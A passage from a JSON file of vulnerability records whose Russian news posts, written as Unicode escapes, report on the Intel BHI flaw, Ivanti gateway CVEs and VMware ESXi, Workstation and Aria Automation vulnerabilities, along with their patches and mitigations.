\u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u0430\u044f \u0430\u0442\u0430\u043a\u0430 BHI \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0445\u0435\u0448\u0430 \u043f\u0430\u0440\u043e\u043b\u044f root \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043d\u0430 \u0431\u0430\u0437\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430 Intel Core 13-\u0433\u043e \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u044f.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, Intel \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0430 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e\u00a0\u0434\u043b\u044f BHI, \u043f\u043e\u0434\u0435\u043b\u0438\u0432\u0448\u0438\u0441\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0435\u0439 \u043e \u043c\u0435\u0442\u043e\u0434\u0430\u0445 \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u044b \u043c\u043e\u0433\u0443\u0442 \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u0444\u0438\u043b\u044c\u0442\u0440\u0430 eBPF, \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u0443\u044e \u0441\u043f\u0435\u043a\u0443\u043b\u044f\u0446\u0438\u044e \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0441\u0432\u0435\u043d\u043d\u044b\u0445 \u0432\u0435\u0442\u0432\u0435\u0439 (eIBRS) \u0438 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0441\u0443\u043f\u0435\u0440\u0432\u0438\u0437\u043e\u0440\u0430 (SMEP).\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Intel \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 LFENCE (Load Fence) \u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u0441\u0442\u0430 \u043a\u043e\u0434\u0430, \u0447\u0442\u043e\u0431\u044b \u043e\u043d\u0438 \u0441\u043b\u0443\u0436\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0430\u043c\u0438 \u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438, \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0447\u0438\u0449\u0430\u044e\u0442 \u0431\u0443\u0444\u0435\u0440 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0432\u0435\u0442\u0432\u0435\u0439 (BHB) \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432 \u043c\u0435\u0436\u0434\u0443 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u0434\u043e\u043c\u0435\u043d\u0430\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0437\u0430\u0432\u0435\u0440\u0438\u043b, \u0447\u0442\u043e \u0431\u0443\u0434\u0443\u0449\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u044b \u0431\u0443\u0434\u0443\u0442 \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0432 \u0441\u0435\u0431\u044f \u043c\u0435\u0440\u044b \u043f\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e BHI \u0438, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u043f\u0435\u043a\u0443\u043b\u044f\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f.", "creation_timestamp": "2024-04-11T16:46:05.000000Z"}, {"uuid": "3a6a058f-4dcc-446f-b499-432b2b4ad578", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22023", "type": "seen", "source": "https://t.me/true_secator/5600", "content": "\u041e\u0434\u043d\u0430\u0436\u0434\u044b CISA \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0432\u0443, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043f\u0440\u0435\u043a\u0440\u0430\u0442\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 Ivanti, \u0441\u0442\u043e\u0438\u043b\u043e \u043f\u0440\u0438\u0441\u043b\u0443\u0448\u0430\u0442\u044c\u0441\u044f \u0438 \u043d\u0435 \u043e\u0431\u0440\u0430\u0449\u0430\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u043e\u0433\u043e\u0432\u043e\u0440\u043a\u0443 \u043f\u043e\u043a\u0430 \u043d\u0435 \u0431\u0443\u0434\u0443\u0442 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u0414\u0435\u043b\u043e \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 Ivanti \u044d\u0442\u043e\u0442 \u0446\u0438\u043a\u043b \u0441\u0442\u0440\u0435\u043c\u0438\u0442\u044c\u0441\u044f \u043a \u0431\u0435\u0441\u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0441\u0442\u0438. \n\n\u041d\u043e\u0432\u044b\u0439 \u0432\u0438\u0442\u043e\u043a \u0441\u0432\u044f\u0437\u0430\u043d \u0441\u043e \u0441\u0440\u043e\u0447\u043d\u044b\u043c\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u0434\u043b\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043b\u0438\u044f\u044e\u0449\u0438\u0445 \u043d\u0430 \u0448\u043b\u044e\u0437\u044b Connect Secure \u0438 Policy Secure.\n\n\u041e\u0434\u043d\u0443 \u0438\u0437 \u043d\u0438\u0445, CVE-2024-21894 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,2), \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f RCE \u0438 DoS \u043d\u0430 \u043d\u0435\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0438\u0445 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u0443\u0447\u0438 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 IPSec \u0432\u0441\u0435\u0445 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0448\u043b\u044e\u0437\u0430.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c, \u043f\u043e \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u044e \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430, \u0440\u0438\u0441\u043a\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u044b \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u043c\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u043c\u0438, \u043d\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f\u0445 \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f.\n\nIvanti \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u043a\u0440\u044b\u043b\u0430 \u0442\u0440\u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0442\u0435 \u0436\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b \u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0434\u043b\u044f DoS-\u0430\u0442\u0430\u043a.\n\n\u0414\u0432\u0435 \u0438\u0437 \u043d\u0438\u0445, CVE-2024-22052 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5) \u0438 CVE-2024-22053 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,2), \u0432\u044b\u0437\u0432\u0430\u043d\u044b \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438 \u0440\u0430\u0437\u044b\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f \u0438 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u0443\u0447\u0438 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 IPSec, \u0434\u0440\u0443\u0433\u0430\u044f CVE-2024-22023 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 5,3) \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e XEE \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 SAML.\n\n\u0422\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u043e, \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0442\u044b\u0441\u044f\u0447\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0432 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435, \u0430 \u0435\u0441\u043b\u0438 \u0431\u044b\u0442\u044c \u0442\u043e\u0447\u043d\u0435\u0435: \u0431\u043e\u043b\u0435\u0435 29 000\u00a0VPN-\u0448\u043b\u044e\u0437\u043e\u0432 Ivanti Connect (\u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan) \u0438 \u0431\u043e\u043b\u0435\u0435 18 000 (\u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shadowserver).\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u0439 \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430 \u0441\u043b\u043e\u0432\u043e \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 Ivanti \u043d\u0435 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f, \u0430 \u043c\u043e\u0436\u0435\u0442 \u0434\u0430\u0436\u0435 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442.", "creation_timestamp": "2024-04-04T11:29:08.000000Z"}, {"uuid": "3df7eba2-381d-4f56-a104-809aca98f8b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22255", "type": "seen", "source": "https://t.me/true_secator/5493", "content": "VMware \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 ESXi, Workstation \u0438 Fusion, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\nCVE-2024-22252 \u0438 CVE-2024-22253 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 USB-\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0435 XHCI \u0441  \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9,3 (\u0434\u043b\u044f Workstation \u0438 Fusion) \u0438 8,4 (\u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c ESXi).\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0430 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 VMX \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b, \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 \u0445\u043e\u0441\u0442\u0435.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Ant Group Light-Year \u0438 QiAnXin.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u043d\u0430\u0437\u0432\u0430\u043d\u043d\u044b\u0445 VMware \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 \u0421VSS: 7,9: CVE-2024-22254 \u0438 CVE-2024-22255.\n\n\u041f\u0435\u0440\u0432\u0430\u044f\u00a0\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 ESXi \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 VMX \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c \u0432\u044b\u0445\u043e\u0434 \u0438\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b.\n\n\u0414\u0440\u0443\u0433\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0432 USB-\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0435 UHCI \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0441 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u0434\u043b\u044f \u0443\u0442\u0435\u0447\u043a\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438\u0437 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 vmx.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u0435, \u0441\u0440\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0441\u0442\u0435\u043a (EoL): ESXi 6.5 -\u00a06.5U3\u0432; ESXi 6.7 -\u00a06.7U3u; ESXi 7.0 -\u00a0ESXi70U3p-23307199; ESXi 8.0 -\u00a0ESXi80U2sb-23305545\u00a0 \u0438\u00a0ESXi80U1d-23299997;  VMware Cloud Foundation (VCF) 3.x; Workstation 17.x - 17.5.1 \u0438 Fusion 13.x (macOS) - 13.5.1.\n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u043f\u043e\u043a\u0430 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435, \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0431\u044b\u043b\u043e \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u043e \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0432\u0441\u0435 USB-\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b \u0438\u0437 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b.", "creation_timestamp": "2024-03-06T14:09:12.000000Z"}, {"uuid": "2c79553b-efa4-4cff-ad4c-fc8c44658891", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22280", "type": "seen", "source": "https://t.me/true_secator/5961", "content": "VMware \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 CVE-2024-22280 (CVSS 8,5) \u0432 Aria Automation.\n\nVMware Aria Automation - \u044d\u0442\u043e \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0443\u043f\u0440\u043e\u0449\u0430\u0435\u0442 \u0438 \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435, \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0438 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438.\n\n\u041e\u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0443\u043d\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443 \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0430\u0434\u0430\u0447 \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f VMware Cloud on AWS, VMware Cloud on Azure \u0438 VMware Cloud Foundation.\n\n\u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e, \u0432\u0432\u0435\u0434\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0432 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0447\u0442\u0435\u043d\u0438\u044f/\u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u041a\u0430\u043d\u0430\u0434\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 \u043a\u0438\u0431\u0435\u0440\u0437\u0430\u0449\u0438\u0442\u044b (CGCD) \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 VMware\u00a0Aria Automation \u0432\u0435\u0440\u0441\u0438\u0438 8.x \u0438 Cloud Foundation \u0432\u0435\u0440\u0441\u0438\u0439 5.x \u0438 